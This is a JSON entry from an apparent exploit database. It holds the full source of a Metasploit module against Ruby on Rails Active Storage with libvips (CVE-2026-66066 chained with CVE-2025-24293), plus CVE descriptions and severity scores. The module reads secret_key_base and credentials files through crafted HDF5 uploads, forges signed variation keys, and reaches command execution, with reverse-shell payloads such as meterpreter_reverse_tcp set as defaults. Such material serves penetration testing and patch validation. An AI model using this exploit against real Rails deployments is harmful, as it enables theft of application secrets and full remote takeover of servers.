{"exploit":{"id":"MSF-multi--http--rails_activestorage_vips_rce","name":"Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution","description":"This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when the application uses the Vips variant processor and accepts untrusted image uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text files accessible to the Rails worker through a PNG representation response. The module recovers secret_key_base from the process environment, Rails local secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then forges a serializer-compatible variation whose ImageProcessing apply step reaches Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when the Ruby target is selected. Neither path requires a Marshal object gadget. The Ruby target's initial code execution does not require a Unix shell or a fetch utility on the target. The file-read stage needs a genuine signed Active Storage variation key. It can use VARIATION_KEY directly, reuse a representation URL from the application, or create one through an application upload form. Supplying SECRET_KEY_BASE skips the arbitrary file-read stage and lets the module construct the standard representation route itself. The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1, Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines an incomplete Vips-side fix for CVE-2025-24293 with ImageProcessing 1.x method dispatch; ImageProcessing 2.x blocks this chain.","cves":["CVE-2026-66066","CVE-2025-24293"],"author":"0xacb, s3np41k1r1t0, castilho, RyotaK, Crypto-Cat","published":"2026-07-29","platform":"Linux,Ruby,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/rails_activestorage_vips_rce.rb","path":"modules/exploits/multi/http/rails_activestorage_vips_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"rails_activestorage_vips_rce.rb","vulnerabilities":[{"id":"CVE-2026-66066","state":"PUBLISHED","title":"Action Pack: Possible arbitrary file read and remote code execution in Active Storage variant processing","titleSource":"CVE Program","description":"Action Pack is a framework for handling and responding to web requests. In versions prior to 7.2.3.2, 8.0.5.1 and 8.1.3.1, Active Storage does not disable libvips operations marked unsafe for untrusted content, allowing a crafted upload to invoke such an operation. Consuming applications are affected when configured to use libvips and accept image uploads from untrusted users. An unauthenticated attacker may exploit this behavior to read arbitrary files accessible to the Rails process, including environment variables and application secrets. Exposure of credentials such as secret_key_base or external-service tokens may enable remote code execution or lateral movement. This issue has been fixed in versions 7.2.3.2, 8.0.5.1 and 8.1.3.1.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-66066","cvss":{"version":"4.0","baseScore":9.5,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-66066"},"updatedAt":"2026-08-05T13:46:21.375Z","retrievedAt":"2026-11-25T16:13:47.304Z","stale":false,"error":null},{"id":"CVE-2025-24293","state":"PUBLISHED","title":null,"titleSource":null,"description":"# Active Storage allowed transformation methods potentially unsafe Active Storage attempts to prevent the use of potentially unsafe image transformation methods and parameters by default. The default allowed list contains three methods allow for the circumvention of the safe defaults which enables potential command injection vulnerabilities in cases where arbitrary user supplied input is accepted as valid transformation methods or parameters. Impact ------ This vulnerability impacts applications that use Active Storage with the image_processing processing gem in addition to mini_magick as the image processor. Vulnerable code will look something similar to this: ``` <%= image_tag blob.variant(params[:t] => params[:v]) %> ``` Where the transformation method or its arguments are untrusted arbitrary input. All users running an affected release should either upgrade or use one of the workarounds immediately. Workarounds ----------- Consuming user supplied input for image transformation methods or their parameters is unsupported behavior and should be considered dangerous. Strict validation of user supplied methods and parameters should be performed as well as having a strong [ImageMagick security policy](https://imagemagick.org/script/security-policy.php) deployed. Credits ------- Thank you [lio346](https://hackerone.com/lio346) for reporting this!","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-24293","cvss":{"version":"4.0","baseScore":9.2,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"hackerone","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-24293"},"updatedAt":"2026-07-15T01:26:46.864Z","retrievedAt":"2026-11-25T16:13:47.298Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--rails_activestorage_vips_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--rails_activestorage_vips_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--rails_activestorage_vips_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--rails_activestorage_vips_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HTTP::RailsActiveStorageVips\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution',\n        'Description' => %q{\n          This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when\n          the application uses the Vips variant processor and accepts untrusted image\n          uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text\n          files accessible to the Rails worker through a PNG representation response.\n\n          The module recovers secret_key_base from the process environment, Rails local\n          secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then\n          forges a serializer-compatible variation whose ImageProcessing apply step reaches\n          Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when\n          the Ruby target is selected. Neither path requires a Marshal object gadget. The\n          Ruby target's initial code execution does not require a Unix shell or a fetch\n          utility on the target.\n\n          The file-read stage needs a genuine signed Active Storage variation key. It can use\n          VARIATION_KEY directly, reuse a representation URL from the application, or create\n          one through an application upload form. Supplying SECRET_KEY_BASE skips the\n          arbitrary file-read stage and lets the module construct the standard\n          representation route itself.\n\n          The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1,\n          Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in\n          Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines an incomplete\n          Vips-side fix for CVE-2025-24293 with ImageProcessing 1.x method dispatch;\n          ImageProcessing 2.x blocks this chain.\n        },\n        'Author' => [\n          '0xacb', # Vulnerability discovery and research\n          's3np41k1r1t0', # Vulnerability discovery and research\n          'castilho', # Vulnerability discovery and research\n          'RyotaK', # Independent vulnerability discovery\n          'Crypto-Cat' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-66066'],\n          ['GHSA', 'xr9x-r78c-5hrm'],\n          ['CVE', '2025-24293'],\n          ['GHSA', 'r4mg-4433-c7g3'],\n          ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'],\n          ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'],\n          ['URL', 'https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/'],\n          ['URL', 'https://github.com/rails/rails/pull/56995'],\n          ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'],\n          ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066']\n        ],\n        'DisclosureDate' => '2026-07-29',\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Linux/Unix Command',\n            {\n              'Platform' => [ 'unix', 'linux' ],\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd,\n              'DefaultOptions' => {\n                # Auto-selection chooses an FTP adapter, but the framework does not\n                # support its default FETCH_COMMAND (CURL) for FTP URLs.\n                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', # rubocop:disable Lint/ModuleDefaultPayload\n                'FETCH_WRITABLE_DIR' => '/tmp',\n                'FETCH_DELETE' => true\n              }\n            }\n          ],\n          [\n            'Ruby',\n            {\n              'Platform' => 'ruby',\n              'Arch' => ARCH_RUBY,\n              'Type' => :ruby,\n              'DefaultOptions' => {\n                # Auto-selection chooses generic/shell_reverse_tcp, which does not\n                # provide Ruby code for this eval target.\n                'PAYLOAD' => 'ruby/shell_reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Payload' => {\n          'BadChars' => \"\\x00\"\n        },\n        'Notes' => {\n          'Stability' => [SERVICE_RESOURCE_LOSS],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Base path to the Rails application', '/']),\n        OptString.new('LANDINGURI', [true, 'Path to a page used for CSRF-token and representation discovery', '/']),\n        OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']),\n        OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']),\n        OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']),\n        OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]),\n        OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]),\n        OptString.new('VARIATION_KEY', [false, 'Known signed Active Storage variation key', nil]),\n        OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips the arbitrary file-read stage', nil]),\n        OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]),\n        OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]),\n        OptEnum.new('KEY_GENERATOR_DIGEST', [true, 'Rails key generator digest', 'auto', %w[auto sha256 sha1 sha384 sha512]]),\n        OptEnum.new('VERIFIER_DIGEST', [true, 'Active Support message verifier HMAC digest', 'auto', %w[auto sha1 sha256 sha384 sha512]]),\n        OptEnum.new('MESSAGE_SERIALIZER', [true, 'Compatible Active Support message serialization format', 'auto', %w[auto json marshal]])\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', 65_536]),\n        OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each Rails credentials or secrets file', 262_144]),\n        OptInt.new('MaxReadRequests', [true, 'Maximum crafted file-read requests per check or exploit phase', 4096]),\n        OptString.new('ExternalStorageOrigins', [false, 'Comma-separated trusted HTTP(S) origins for external storage requests', nil])\n      ]\n    )\n  end\n\n  def check\n    reset_read_budget!\n    validate_options!\n    if datastore['SECRET_KEY_BASE'].present?\n      secret_key_base = datastore['SECRET_KEY_BASE']\n      @known_secret_context = context_from_known_secret(secret_key_base)\n      verify_known_secret_context(@known_secret_context)\n      @active_storage_service = report_active_storage_service\n      return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested')\n    end\n\n    @read_context = detect_read_context\n    @active_storage_service = report_active_storage_service\n    vuln = {\n      service: @active_storage_service,\n      info: 'Confirmed arbitrary file read through an Active Storage representation'\n    }.compact\n    CheckCode::Vulnerable(\n      \"Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout\",\n      vuln: vuln\n    )\n  rescue ConfigError, DataError, FlowError, TriggerError, UnreachableError => e\n    CheckCode::Unknown(e.message)\n  end\n\n  def exploit\n    reset_read_budget!\n    validate_options!\n    context = if datastore['SECRET_KEY_BASE'].present?\n                secret_key_base = datastore['SECRET_KEY_BASE']\n                if @known_secret_context&.dig(:secret_key_base) == secret_key_base\n                  @known_secret_context\n                else\n                  context_from_known_secret(secret_key_base).tap do |known_secret_context|\n                    verify_known_secret_context(known_secret_context)\n                  end\n                end\n              else\n                read_context = @read_context ||= detect_read_context\n                @active_storage_service = report_active_storage_service\n                unless @vulnerability_reported\n                  report_vuln(\n                    host: rhost,\n                    port: rport,\n                    proto: 'tcp',\n                    service: @active_storage_service,\n                    name: fullname,\n                    info: 'Confirmed arbitrary file read through an Active Storage representation',\n                    refs: references\n                  )\n                end\n                context_from_recovered_secret(read_context)\n              end\n\n    @active_storage_service = report_active_storage_service\n\n    transformations = variation_transformations\n    operation = transformations['send'].first\n    print_status(\"Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}\")\n    path = forged_representation_path(context, transformations)\n    trigger_variation(path)\n  rescue ConfigError, DataError => e\n    fail_with(Failure::BadConfig, e.message)\n  rescue UnreachableError => e\n    fail_with(Failure::Unreachable, e.message)\n  rescue FlowError, TriggerError => e\n    fail_with(Failure::UnexpectedReply, e.message)\n  end\n\nend\n","sha256":"628755950217b412135f76f5d0cce59103407a58c18498d30d1c4d087817cbc9","bytes":9984,"fetchedAt":"2026-11-25T16:31:00.549Z","encoding":"utf-8 (display only; download retains original bytes)"}